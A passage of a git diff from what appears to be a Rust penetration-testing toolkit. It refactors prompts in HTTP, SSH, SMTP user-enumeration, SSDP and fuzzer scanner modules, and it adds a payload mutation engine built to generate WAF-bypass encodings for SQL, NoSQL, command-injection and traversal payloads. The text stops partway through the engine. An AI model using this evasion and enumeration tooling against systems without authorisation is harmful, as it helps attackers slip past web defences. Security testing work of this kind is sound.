println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
@@ -19,11 +22,11 @@ pub async fn run(target: &str) -> Result<()> {
println!("{}", format!("[*] Target: {}", target).cyan());
let timeout_secs = prompt_timeout()?;
let check_http = prompt_bool("Check HTTP (port 80)?", true)?;
let check_https = prompt_bool("Check HTTPS (port 443)?", true)?;
let verbose = prompt_bool("Verbose output?", false)?;
let save_results = prompt_bool("Save results to file?", false)?;
let timeout_secs = cfg_prompt_int_range("timeout", "Timeout in seconds", 10, 1, 120)? as u64;
let check_http = cfg_prompt_yes_no("check_http", "Check HTTP (port 80)?", true)?;
let check_https = cfg_prompt_yes_no("check_https", "Check HTTPS (port 443)?", true)?;
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false)?;
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", false)?;
if !check_http && !check_https {
return Err(anyhow!("At least one protocol must be selected"));
@@ -146,7 +149,7 @@ pub async fn run(target: &str) -> Result<()> {
// Save results
if save_results && !results.is_empty() {
let filename = prompt_with_default("Output filename", "http_scan_results.txt")?;
let filename = cfg_prompt_output_file("output_file", "Output filename", "http_scan_results.txt")?;
let mut file = File::create(&filename).context("Failed to create output file")?;
writeln!(file, "HTTP Connectivity Scan Results")?;
writeln!(file, "Target: {}", target)?;
@@ -160,56 +163,3 @@ pub async fn run(target: &str) -> Result<()> {
Ok(())
}
fn prompt_bool(message: &str, default: bool) -> Result<bool> {
let hint = if default { "Y/n" } else { "y/N" };
print!("{}", format!("{} [{}]: ", message, hint).cyan().bold());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read input")?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
"" => Ok(default),
"y" | "yes" => Ok(true),
"n" | "no" => Ok(false),
_ => Ok(default),
}
}
fn prompt_with_default(message: &str, default: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", message, default).cyan().bold());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
fn prompt_timeout() -> Result<u64> {
print!("{}", "Timeout in seconds [10]: ".cyan().bold());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(10)
} else {
trimmed.parse().map_err(|_| anyhow!("Invalid timeout"))
}
}
src/modules/scanners/sequential_fuzzer.rs
+19 -19
View File
@@ -10,7 +10,7 @@ use std::sync::Arc;
use std::time::Duration;
use tokio::sync::{mpsc, Semaphore};
use crate::utils::{
prompt_required, prompt_default, prompt_yes_no, normalize_target, prompt_existing_file
cfg_prompt_required, cfg_prompt_default, cfg_prompt_yes_no, normalize_target, cfg_prompt_existing_file
};
use base64::{Engine as _, engine::general_purpose};
use rand::seq::IndexedRandom;
@@ -143,7 +143,7 @@ pub async fn run(target: &str) -> Result<()> {
println!("3. Load Template (Load -> Run)");
println!("4. Custom Attack (Wizard -> Run)");
let choice = prompt_default("Selection", "1")?;
let choice = cfg_prompt_default("mode", "Selection", "1")?;
let config = match choice.as_str() {
"1" => setup_quick_attack(target).await?,
@@ -178,13 +178,13 @@ async fn setup_quick_attack(initial_target: &str) -> Result<SequentialFuzzerConf
let url = parse_target_interactive(initial_target).await?;
// Forced Input for Reliability
let min_len_str = prompt_required("Min Sequence Length (e.g. 1)")?;
let min_len_str = cfg_prompt_required("min_length", "Min Sequence Length (e.g. 1)")?;
let min_len: usize = min_len_str.parse().unwrap_or(1);
let max_len_str = prompt_required("Max Sequence Length (e.g. 3)")?;
let max_len_str = cfg_prompt_required("max_length", "Max Sequence Length (e.g. 3)")?;
let max_len: usize = max_len_str.parse().unwrap_or(3);
let verbose = prompt_yes_no("Verbose Mode? (Print all 403s)", false)?;
let verbose = cfg_prompt_yes_no("verbose", "Verbose Mode? (Print all 403s)", false)?;
Ok(SequentialFuzzerConfig {
target_url: url,
@@ -212,21 +212,21 @@ async fn setup_wizard(initial_target: &str) -> Result<SequentialFuzzerConfig> {
println!("4. All Printable ASCII (Standard Brute)");
println!("5. Custom");
let c_mode_str = prompt_required("Charset Selection (1-5)")?;
let c_mode_str = cfg_prompt_required("charset", "Charset Selection (1-5)")?;
let c_mode: u8 = c_mode_str.parse().unwrap_or(4);
let custom = if c_mode == 5 {
Some(prompt_required("Custom Charset String")?)
Some(cfg_prompt_required("custom_charset", "Custom Charset String")?)
} else {
None
};
// 3. Lengths
// Using prompt_required to prevent skipping issues with buffered inputs
let min_len_str = prompt_required("Min Sequence Length (e.g. 1)")?;
// Using cfg_prompt_required to prevent skipping issues with buffered inputs
let min_len_str = cfg_prompt_required("min_length", "Min Sequence Length (e.g. 1)")?;
let min_len: usize = min_len_str.parse().unwrap_or(1);
let max_len_str = prompt_required("Max Sequence Length (e.g. 3)")?;
let max_len_str = cfg_prompt_required("max_length", "Max Sequence Length (e.g. 3)")?;
let max_len: usize = max_len_str.parse().unwrap_or(3);
if max_len > 4 && c_mode == 4 {
@@ -246,7 +246,7 @@ async fn setup_wizard(initial_target: &str) -> Result<SequentialFuzzerConfig> {
println!("8. Base64");
println!("9. Mixed/Random");
let enc_choice_str = prompt_required("Encoding Selection (0-9)")?;
let enc_choice_str = cfg_prompt_required("encoding", "Encoding Selection (0-9)")?;
let enc_choice: u8 = enc_choice_str.parse().unwrap_or(0);
let encoding = match enc_choice {
@@ -263,16 +263,16 @@ async fn setup_wizard(initial_target: &str) -> Result<SequentialFuzzerConfig> {
};
// 5. Config
let concurrency_str = prompt_required("Concurrency (Threads)")?;
let concurrency_str = cfg_prompt_required("concurrency", "Concurrency (Threads)")?;
let concurrency: usize = concurrency_str.parse().unwrap_or(50);
let cookies = if prompt_yes_no("Add Cookies?", false)? {
Some(prompt_required("Cookie Header Value")?)
let cookies = if cfg_prompt_yes_no("add_cookies", "Add Cookies?", false)? {
Some(cfg_prompt_required("cookies", "Cookie Header Value")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose Mode? (Print all 403s)", false)?;
let verbose = cfg_prompt_yes_no("verbose", "Verbose Mode? (Print all 403s)", false)?;
Ok(SequentialFuzzerConfig {
target_url: url,
@@ -289,7 +289,7 @@ async fn setup_wizard(initial_target: &str) -> Result<SequentialFuzzerConfig> {
async fn parse_target_interactive(raw: &str) -> Result<String> {
let base = if raw.is_empty() {
normalize_target(&prompt_required("Target URL")?)?
normalize_target(&cfg_prompt_required("target_url", "Target URL")?)?
} else {
normalize_target(raw)?
};
@@ -304,7 +304,7 @@ async fn parse_target_interactive(raw: &str) -> Result<String> {
// Ensure trailing slash
if !url.ends_with('/') {
println!("{}", format!("[*] Current Target: {}", url).cyan());
if prompt_yes_no("Target does not end with '/'. Append it?", true)? {
if cfg_prompt_yes_no("append_slash", "Target does not end with '/'. Append it?", true)? {
Ok(format!("{}/", url))
} else {
Ok(url)
@@ -317,7 +317,7 @@ async fn parse_target_interactive(raw: &str) -> Result<String> {
// --- Persistence ---
async fn save_template(config: &SequentialFuzzerConfig) -> Result<()> {
let name = prompt_default("Template Name", "fuzz_template.json")?;
let name = cfg_prompt_default("template_name", "Template Name", "fuzz_template.json")?;
let json = serde_json::to_string_pretty(config)?;
fs::write(&name, json).context("Failed to write template")?;
println!("Saved to {}", name);
@@ -325,7 +325,7 @@ async fn save_template(config: &SequentialFuzzerConfig) -> Result<()> {
}
async fn load_template() -> Result<SequentialFuzzerConfig> {
let path = prompt_existing_file("Template File")?;
let path = cfg_prompt_existing_file("template_file", "Template File")?;
let content = fs::read_to_string(&path)?;
let config: SequentialFuzzerConfig = serde_json::from_str(&content).context("Invalid JSON")?;
println!("{}", "Loaded Config.".green());
src/modules/scanners/smtp_user_enum.rs
+16 -112
View File
@@ -12,13 +12,16 @@ use std::fs::{File, OpenOptions};
use std::io::{BufRead, BufReader, Write};
use std::net::{TcpStream, ToSocketAddrs};
use std::path::Path;
use std::sync::{Arc, Mutex};
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::time::{Duration, Instant};
use telnet::{Telnet, Event};
use threadpool::ThreadPool;
use crossbeam_channel::unbounded;
use crate::utils::{
cfg_prompt_default, cfg_prompt_port, cfg_prompt_yes_no,
cfg_prompt_int_range, cfg_prompt_existing_file, cfg_prompt_output_file,
};
const PROGRESS_INTERVAL_SECS: u64 = 2;
const DEFAULT_SMTP_PORT: u16 = 25;
@@ -132,13 +135,13 @@ pub async fn run(target: &str) -> Result<()> {
println!(" 2. Targets from file (ignore current target)");
println!(" 3. Current target + targets from file");
println!();
let mode = prompt("Select mode [1-3] (default 1): ")?;
let mode = cfg_prompt_default("mode", "Select mode [1-3] (default 1)", "1")?;
// Build initial target list based on selected mode
let mut targets: Vec<String> = Vec::new();
match mode.trim() {
"2" => {
let file_path = prompt("Targets file (one IP/hostname per line): ")?;
let file_path = cfg_prompt_existing_file("target_file", "Targets file (one IP/hostname per line)")?;
if file_path.trim().is_empty() {
return Err(anyhow!("Targets file path cannot be empty in mode 2"));
}
@@ -152,7 +155,7 @@ pub async fn run(target: &str) -> Result<()> {
if !target.trim().is_empty() {
targets.push(target.trim().to_string());
}
let file_path = prompt("Additional targets file (one IP/hostname per line): ")?;
let file_path = cfg_prompt_existing_file("additional_target_file", "Additional targets file (one IP/hostname per line)")?;
if file_path.trim().is_empty() {
return Err(anyhow!("Targets file path cannot be empty in mode 3"));
}
@@ -170,11 +173,11 @@ pub async fn run(target: &str) -> Result<()> {
}
}
let port = prompt_port(DEFAULT_SMTP_PORT)?;
let username_wordlist = prompt_wordlist("Username wordlist file: ")?;
let threads = prompt_threads(DEFAULT_THREADS)?;
let timeout_ms = prompt_timeout(DEFAULT_TIMEOUT_MS)?;
let verbose = prompt_yes_no("Verbose mode?", false)?;
let port = cfg_prompt_port("port", "SMTP Port", DEFAULT_SMTP_PORT)?;
let username_wordlist = cfg_prompt_existing_file("wordlist", "Username wordlist file")?;
let threads = cfg_prompt_int_range("threads", "Threads", DEFAULT_THREADS as i64, 1, 1024)? as usize;
let timeout_ms = cfg_prompt_int_range("timeout_ms", "Timeout in milliseconds", DEFAULT_TIMEOUT_MS as i64, 100, 60000)? as u64;
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false)?;
if targets.is_empty() {
return Err(anyhow!("No targets specified for SMTP enumeration"));
@@ -655,11 +658,9 @@ async fn finalize_and_report(
println!(" {} {} - {}", "✓".green(), username, response);
}
if prompt("\nSave valid usernames? (y/n): ")?
.trim()
.eq_ignore_ascii_case("y")
if cfg_prompt_yes_no("save_valid", "Save valid usernames?", false)?
{
let filename = prompt("What should the valid results be saved as?: ")?;
let filename = cfg_prompt_output_file("valid_output", "What should the valid results be saved as?", "smtp_valid_users.txt")?;
if filename.is_empty() {
println!("{}", "[-] Filename cannot be empty.".red());
} else {
@@ -682,18 +683,10 @@ async fn finalize_and_report(
.bold()
);
if prompt("Save unknown responses to file? (y/n): ")?
.trim()
.eq_ignore_ascii_case("y")
if cfg_prompt_yes_no("save_unknown", "Save unknown responses to file?", false)?
{
let default_name = "smtp_unknown_responses.txt";
let filename =
prompt(&format!("What should the unknown results be saved as? [{}]: ", default_name))?;
let chosen = if filename.trim().is_empty() {
default_name.to_string()
} else {
filename.trim().to_string()
};
let chosen = cfg_prompt_output_file("unknown_output", "What should the unknown results be saved as?", default_name)?;
if let Err(e) = save_unknown_responses(&chosen, &unknown_guard) {
println!(
@@ -750,95 +743,6 @@ fn save_unknown_responses(path: &str, entries: &[(String, String)]) -> Result<()
Ok(())
}
fn prompt(msg: &str) -> Result<String> {
print!("{}", msg);
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut buffer = String::new();
std::io::stdin()
.read_line(&mut buffer)
.context("Failed to read input")?;
Ok(buffer.trim().to_string())
}
fn prompt_port(default: u16) -> Result<u16> {
loop {
let input = prompt(&format!("SMTP Port (default {}): ", default))?;
if input.is_empty() {
return Ok(default);
}
match input.parse::<u16>() {
Ok(0) => println!("{}", "[!] Port cannot be zero. Please enter a value between 1 and 65535.".yellow()),
Ok(port) => return Ok(port),
Err(_) => println!("{}", "[!] Invalid port. Please enter a number between 1 and 65535.".yellow()),
}
}
}
fn prompt_threads(default: usize) -> Result<usize> {
loop {
let input = prompt(&format!("Threads (default {}): ", default))?;
if input.is_empty() {
return Ok(default.max(1));
}
if let Ok(value) = input.parse::<usize>() {
if value >= 1 && value <= 1024 {
return Ok(value);
}
}
println!("{}", "[!] Invalid thread count. Please enter a value between 1 and 1024.".yellow());
}
}
fn prompt_timeout(default: u64) -> Result<u64> {
loop {
let input = prompt(&format!("Timeout in milliseconds (default {}): ", default))?;
if input.is_empty() {
return Ok(default);
}
match input.parse::<u64>() {
Ok(value) if value >= 100 && value <= 60000 => return Ok(value),
Ok(_) => println!("{}", "[!] Timeout must be between 100 and 60000 milliseconds.".yellow()),
Err(_) => println!("{}", "[!] Invalid timeout. Please enter a number.".yellow()),
}
}
}
fn prompt_yes_no(message: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
let input = prompt(&format!("{} (y/n) [{}]: ", message, default_char))?;
if input.is_empty() {
return Ok(default_yes);
}
match input.to_lowercase().as_str() {
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("{}", "[!] Please respond with y or n.".yellow()),
}
}
}
fn prompt_wordlist(message: &str) -> Result<String> {
loop {
let response = prompt(message)?;
if response.is_empty() {
println!("{}", "[!] Path cannot be empty.".yellow());
continue;
}
let trimmed = response.trim();
if Path::new(trimmed).is_file() {
return Ok(trimmed.to_string());
} else {
println!(
"{}",
format!("[!] File '{}' does not exist or is not a regular file.", trimmed).yellow()
);
}
}
}
fn normalize_target(host: &str, port: u16) -> Result<String> {
let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$").context("Failed to compile regex")?;
let t = host.trim();
src/modules/scanners/ssdp_msearch.rs
+18 -176
View File
@@ -9,6 +9,9 @@ use std::net::SocketAddr;
use std::time::Instant;
use tokio::net::UdpSocket;
use tokio::time::{timeout as tokio_timeout, Duration};
use crate::utils::{
cfg_prompt_port, cfg_prompt_int_range, cfg_prompt_yes_no, cfg_prompt_default,
};
/// SSDP Search Target types
#[derive(Clone, Debug)]
@@ -41,11 +44,11 @@ pub async fn run(target: &str) -> Result<()> {
println!("{}", format!("[*] Target: {}", target).cyan());
let port = prompt_port().unwrap_or(1900);
let timeout_secs = prompt_timeout().unwrap_or(3);
let retries = prompt_retries().unwrap_or(1);
let verbose = prompt_verbose().unwrap_or(false);
let save_results = prompt_save_results().unwrap_or(false);
let port = cfg_prompt_port("port", "Enter custom port", 1900)?;
let timeout_secs = cfg_prompt_int_range("timeout", "Timeout in seconds", 3, 1, 60)? as u64;
let retries = cfg_prompt_int_range("retries", "Number of retries", 1, 1, 10)? as u32;
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false)?;
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", false)?;
let target = clean_ipv6_brackets(target);
// Validate target format
@@ -53,7 +56,16 @@ pub async fn run(target: &str) -> Result<()> {
.with_context(|| format!("Failed to normalize target '{}'", target))?;
// Determine search targets
let search_targets = prompt_search_targets()?;
let search_target_choice = cfg_prompt_default("search_target", "SSDP Search Target (1=rootdevice, 2=all, 3=custom, 4=both)", "1")?;
let search_targets = match search_target_choice.as_str() {
"2" => vec![SearchTarget::All],
"3" => {
let custom_st = cfg_prompt_default("custom_st", "Enter custom ST", "upnp:rootdevice")?;
vec![SearchTarget::Custom(custom_st)]
},
"4" => vec![SearchTarget::RootDevice, SearchTarget::All],
_ => vec![SearchTarget::RootDevice],
};
println!();
println!("{}", format!("[*] Sending SSDP M-SEARCH to {}:{}...", target, port).bold());
@@ -214,176 +226,6 @@ fn clean_ipv6_brackets(ip: &str) -> String {
.to_string()
}
/// Ask user for port (optional), fallback to 1900 if empty
fn prompt_port() -> Option<u16> {
print!("{}", "[*] Enter custom port (default 1900): ".cyan().bold());
if std::io::stdout().flush().is_err() {
return None;
}
let mut input = String::new();
if std::io::stdin()
.read_line(&mut input)
.is_ok()
{
let input = input.trim();
if input.is_empty() {
return None;
}
if let Ok(p) = input.parse::<u16>() {
return Some(p);
}
}
None
}
/// Ask user for timeout in seconds
fn prompt_timeout() -> Option<u64> {
print!("{}", "[*] Enter timeout in seconds (default 3): ".cyan().bold());
if std::io::stdout().flush().is_err() {
return None;
}
let mut input = String::new();
if std::io::stdin()
.read_line(&mut input)
.is_ok()
{
let input = input.trim();
if input.is_empty() {
return None;
}
if let Ok(t) = input.parse::<u64>() {
if t > 0 && t <= 60 {
return Some(t);
}
}
}
None
}
/// Ask user for number of retries
fn prompt_retries() -> Option<u32> {
print!("{}", "[*] Enter number of retries (default 1): ".cyan().bold());
if std::io::stdout().flush().is_err() {
return None;
}
let mut input = String::new();
if std::io::stdin()
.read_line(&mut input)
.is_ok()
{
let input = input.trim();
if input.is_empty() {
return None;
}
if let Ok(r) = input.parse::<u32>() {
if r > 0 && r <= 10 {
return Some(r);
}
}
}
None
}
/// Ask user for verbose mode
fn prompt_verbose() -> Option<bool> {
print!("{}", "[*] Verbose output? [y/N]: ".cyan().bold());
if std::io::stdout().flush().is_err() {
return None;
}
let mut input = String::new();
if std::io::stdin()
.read_line(&mut input)
.is_ok()
{
let input = input.trim().to_lowercase();
match input.as_str() {
"y" | "yes" => return Some(true),
"n" | "no" | "" => return Some(false),
_ => {}
}
}
None
}
/// Ask user to save results
fn prompt_save_results() -> Option<bool> {
print!("{}", "[*] Save results to file? [y/N]: ".cyan().bold());
if std::io::stdout().flush().is_err() {
return None;
}
let mut input = String::new();
if std::io::stdin()
.read_line(&mut input)
.is_ok()
{
let input = input.trim().to_lowercase();
match input.as_str() {
"y" | "yes" => return Some(true),
"n" | "no" | "" => return Some(false),
_ => {}
}
}
None
}
/// Ask user for search targets
fn prompt_search_targets() -> Result<Vec<SearchTarget>> {
let mut targets = Vec::new();
println!("{}", "[*] Select SSDP Search Targets:".cyan().bold());
println!(" 1. upnp:rootdevice (default)");
println!(" 2. ssdp:all");
println!(" 3. Custom ST");
println!(" 4. All of the above");
print!("{}", "Enter choice [1-4, default 1]: ".cyan().bold());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read input")?;
match input.trim() {
"1" | "" => {
targets.push(SearchTarget::RootDevice);
}
"2" => {
targets.push(SearchTarget::All);
}
"3" => {
print!("{}", "Enter custom ST: ".cyan().bold());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut st_input = String::new();
std::io::stdin()
.read_line(&mut st_input)
.context("Failed to read input")?;
let st = st_input.trim().to_string();
if !st.is_empty() {
targets.push(SearchTarget::Custom(st));
} else {
targets.push(SearchTarget::RootDevice);
}
}
"4" => {
targets.push(SearchTarget::RootDevice);
targets.push(SearchTarget::All);
}
_ => {
targets.push(SearchTarget::RootDevice);
}
}
if targets.is_empty() {
targets.push(SearchTarget::RootDevice);
}
Ok(targets)
}
fn parse_ssdp_response(response: &str, target_ip: &str, port: u16, st: &str) -> Option<String> {
let regexps = vec![
("server", r"(?i)Server:\s*(.*?)\r\n"),
src/modules/scanners/ssh_scanner.rs
+14 -61
View File
@@ -26,6 +26,9 @@ use tokio::{
time::sleep,
};
use ipnetwork::IpNetwork;
use crate::utils::{
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_output_file,
};
const DEFAULT_SSH_PORT: u16 = 22;
const DEFAULT_TIMEOUT_SECS: u64 = 5;
@@ -325,55 +328,6 @@ fn save_results(results: &[SshScanResult], path: &str) -> Result<()> {
Ok(())
}
/// Prompt helper
fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read input")?;
Ok(input.trim().to_string())
}
fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
let hint = if default { "Y/n" } else { "y/N" };
print!("{} [{}]: ", message, hint);
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut input = String::new();
std::io::stdin()
.read_line(&mut input)
.context("Failed to read input")?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
"" => Ok(default),
"y" | "yes" => Ok(true),
"n" | "no" => Ok(false),
_ => Ok(default),
}
}
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
@@ -386,10 +340,11 @@ pub async fn run(target: &str) -> Result<()> {
}
// Get port
let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(DEFAULT_SSH_PORT);
let port_str = cfg_prompt_default("port", "SSH Port", "22")?;
let port: u16 = port_str.parse().unwrap_or(DEFAULT_SSH_PORT);
// Get additional targets
let more_targets = prompt("Additional targets (comma-separated, CIDR, or leave empty)")?;
let more_targets = cfg_prompt_default("additional_targets", "Additional targets (comma-separated, CIDR, or leave empty)", "")?;
// Add initial target
if !target.trim().is_empty() {
@@ -402,8 +357,8 @@ pub async fn run(target: &str) -> Result<()> {
}
// Load from file?
if prompt_yes_no("Load targets from file?", false)? {
let file_path = prompt("File path")?;
if cfg_prompt_yes_no("load_from_file", "Load targets from file?", false)? {
let file_path = cfg_prompt_default("target_file", "File path", "")?;
if !file_path.is_empty() {
match load_targets_from_file(&file_path, port) {
Ok(file_targets) => {
@@ -428,12 +383,10 @@ pub async fn run(target: &str) -> Result<()> {
println!("{}", format!("[*] Total unique targets: {}", targets.len()).cyan());
// Get scan options
let threads: usize = prompt_default("Concurrent threads", &DEFAULT_THREADS.to_string())?
.parse()
.unwrap_or(DEFAULT_THREADS);
let timeout: u64 = prompt_default("Connection timeout (seconds)", &DEFAULT_TIMEOUT_SECS.to_string())?
.parse()
.unwrap_or(DEFAULT_TIMEOUT_SECS);
let threads_str = cfg_prompt_default("threads", "Concurrent threads", &DEFAULT_THREADS.to_string())?;
let threads: usize = threads_str.parse().unwrap_or(DEFAULT_THREADS);
let timeout_str = cfg_prompt_default("timeout", "Connection timeout (seconds)", &DEFAULT_TIMEOUT_SECS.to_string())?;
let timeout: u64 = timeout_str.parse().unwrap_or(DEFAULT_TIMEOUT_SECS);
println!();
@@ -441,8 +394,8 @@ pub async fn run(target: &str) -> Result<()> {
let results = scan_ssh(targets, threads, timeout).await;
// Save results?
if !results.is_empty() && prompt_yes_no("Save results to file?", true)? {
let output_path = prompt_default("Output file", "ssh_scan_results.txt")?;
if !results.is_empty() && cfg_prompt_yes_no("save_results", "Save results to file?", true)? {
let output_path = cfg_prompt_output_file("output_file", "Output file", "ssh_scan_results.txt")?;
if let Err(e) = save_results(&results, &output_path) {
println!("{}", format!("[-] Failed to save: {}", e).red());
}
src/native/mod.rs
+2
View File
@@ -0,0 +1,2 @@
pub mod rdp;
pub mod payload_mutator;
src/native/payload_mutator.rs
+963
View File
@@ -0,0 +1,963 @@
//! Dynamic Payload Mutation Engine
//!
//! Takes seed payloads and generates exhaustive mutated variants using
//! composable encoding, evasion, and traversal expansion strategies.
//! Designed for WAF bypass and comprehensive injection testing.
use rand::seq::IndexedRandom;
use std::collections::HashSet;
// ============================================================================
// Public Types
// ============================================================================
/// Category of payload — determines which mutations are applicable
#[derive(Debug, Clone, Copy, PartialEq)]
pub enum PayloadCategory {
SQLi,
NoSQLi,
CMDi,
Traversal,
Generic,
}
/// Configuration for mutation behavior
#[derive(Debug, Clone)]
pub struct MutatorConfig {
/// How many recursive mutation passes (1 = seeds + 1 layer, 2 = + 2 layers, etc.)
pub depth: usize,
/// Max variants per seed per generation (caps explosion)
pub max_variants_per_seed: usize,
/// Max total payloads to return (hard cap)
pub max_total: usize,
/// For traversal: max directory depth to expand to
pub traversal_max_depth: usize,
/// Try every possible encoding combination exhaustively
pub exhaustive_encoding: bool,
}
impl Default for MutatorConfig {
fn default() -> Self {
Self {
depth: 3,
max_variants_per_seed: 15,
max_total: 500,
traversal_max_depth: 15,
exhaustive_encoding: true,
}
}
}
// ============================================================================
// Core Mutator
// ============================================================================
/// Generate mutated payloads from seeds.
/// Returns deduplicated set of all unique payloads (seeds + mutations).
pub fn mutate_payloads(
seeds: &[String],
category: PayloadCategory,
config: &MutatorConfig,
) -> Vec<String> {
let mut all = HashSet::new();
// Always include original seeds
for s in seeds {
all.insert(s.clone());
}
// Generation 0: apply all applicable mutations to seeds
let mut current_gen: Vec<String> = seeds.to_vec();
for _depth in 0..config.depth {
let mut next_gen = Vec::new();
for payload in &current_gen {
let mutations = apply_all_mutations(payload, category, config);
for m in mutations {
if all.len() >= config.max_total {
break;
}
if all.insert(m.clone()) {
next_gen.push(m);
}
}
if all.len() >= config.max_total {
break;
}
}
if next_gen.is_empty() {
break;
}
// Limit next generation size to prevent explosion
if next_gen.len() > config.max_total / 2 {
// Keep a random subset
let mut rng = rand::rng();
let mut shuffled = next_gen;
// Take first N after shuffle
let limit = config.max_total / 2;
if shuffled.len() > limit {
shuffled.truncate(limit);
}
current_gen = shuffled;
} else {
current_gen = next_gen;
}
}
// For traversal: also expand depth variants
if category == PayloadCategory::Traversal {
let traversal_expanded = expand_traversal_depths(seeds, config);
for t in traversal_expanded {
if all.len() >= config.max_total {
break;
}
all.insert(t);
}
}
let mut result: Vec<String> = all.into_iter().collect();
result.sort(); // Deterministic order for reproducibility
result
}
// ============================================================================
// Mutation Dispatcher
// ============================================================================
fn apply_all_mutations(
payload: &str,
category: PayloadCategory,
config: &MutatorConfig,
) -> Vec<String> {
let mut results = Vec::new();
let limit = config.max_variants_per_seed;
// === Universal Encoding Mutations (all categories) ===
results.extend(encode_url(payload));
results.extend(encode_double_url(payload));
results.extend(encode_unicode_escape(payload));
results.extend(encode_html_entities(payload));
results.extend(encode_hex(payload));
results.extend(encode_octal(payload));
results.extend(encode_utf8_overlong(payload));
if config.exhaustive_encoding {
// Chain: URL encode the double-encoded version, etc.
for encoded in encode_url(payload) {
results.extend(encode_url(&encoded));
}
for encoded in encode_double_url(payload) {
results.extend(encode_url(&encoded));
}
// Mixed encoding: URL encode some chars, leave others
results.extend(encode_mixed_partial(payload));
}
// === Whitespace & Boundary Mutations ===
results.extend(swap_whitespace(payload));
results.extend(boundary_wrap(payload));
results.extend(null_byte_append(payload));
// === Category-Specific Mutations ===
match category {
PayloadCategory::SQLi => {
results.extend(sql_comment_inject(payload));
results.extend(sql_case_toggle(payload));
results.extend(sql_concat_split(payload));
results.extend(sql_version_comment(payload));
results.extend(sql_alternative_syntax(payload));
results.extend(sql_hex_encode_strings(payload));
}
PayloadCategory::NoSQLi => {
results.extend(nosql_operator_variants(payload));
results.extend(nosql_unicode_escape(payload));
}
PayloadCategory::CMDi => {
results.extend(cmd_separator_variants(payload));
results.extend(cmd_variable_expansion(payload));
results.extend(cmd_quoting_tricks(payload));
results.extend(cmd_wildcard_bypass(payload));
}
PayloadCategory::Traversal => {
results.extend(traversal_encoding_variants(payload));
results.extend(traversal_os_variants(payload));
results.extend(traversal_null_extension(payload));
results.extend(traversal_double_dot_variants(payload));
}
PayloadCategory::Generic => {}
}
// Deduplicate and cap
let mut seen = HashSet::new();
let mut unique = Vec::new();
for r in results {
if r != *payload && seen.insert(r.clone()) {
unique.push(r);
if unique.len() >= limit {
break;
}
}
}
unique
}
// ============================================================================
// Universal Encoding Mutations
// ============================================================================
fn encode_url(payload: &str) -> Vec<String> {
// Full URL encode every special char
let full = payload
.chars()
.map(|c| {
if c.is_ascii_alphanumeric() {
c.to_string()
} else {
format!("%{:02X}", c as u8)
}
})
.collect::<String>();
// Selective: only encode injection chars
let selective = payload
.chars()
.map(|c| match c {
'\'' | '"' | ' ' | ';' | '|' | '&' | '<' | '>' | '(' | ')' | '/'
| '\\' | '{' | '}' | '$' | '`' | '!' | '#' | '%' | '=' | '.' => {
format!("%{:02X}", c as u8)
}
_ => c.to_string(),
})
.collect::<String>();
vec![full, selective]
}
fn encode_double_url(payload: &str) -> Vec<String> {
// Double encode: % becomes %25 first
let double = payload
.chars()
.map(|c| {
if c.is_ascii_alphanumeric() {
c.to_string()
} else {
let hex = format!("{:02X}", c as u8);
format!("%25{}", hex)
}
})
.collect::<String>();
vec![double]
}
fn encode_unicode_escape(payload: &str) -> Vec<String> {
// \uXXXX encoding for each char
let unicode = payload
.chars()
.map(|c| {
if c.is_ascii_alphanumeric() || c == ' ' {
c.to_string()
} else {
format!("\\u{:04X}", c as u32)
}
})
.collect::<String>();
// %uXXXX (IIS-style)
let iis_unicode = payload
.chars()
.map(|c| {
if c.is_ascii_alphanumeric() {
c.to_string()
} else {
format!("%u{:04X}", c as u32)
}
})
.collect::<String>();
vec![unicode, iis_unicode]
}
fn encode_html_entities(payload: &str) -> Vec<String> {
let html = payload
.chars()
.map(|c| match c {
'<' => "&lt;".to_string(),
'>' => "&gt;".to_string(),
'"' => "&quot;".to_string(),
'\'' => "&#39;".to_string(),
'&' => "&amp;".to_string(),
_ if !c.is_ascii_alphanumeric() && c != ' ' => format!("&#{};", c as u32),
_ => c.to_string(),
})
.collect::<String>();
// Hex HTML entities
let hex_html = payload
.chars()
.map(|c| {
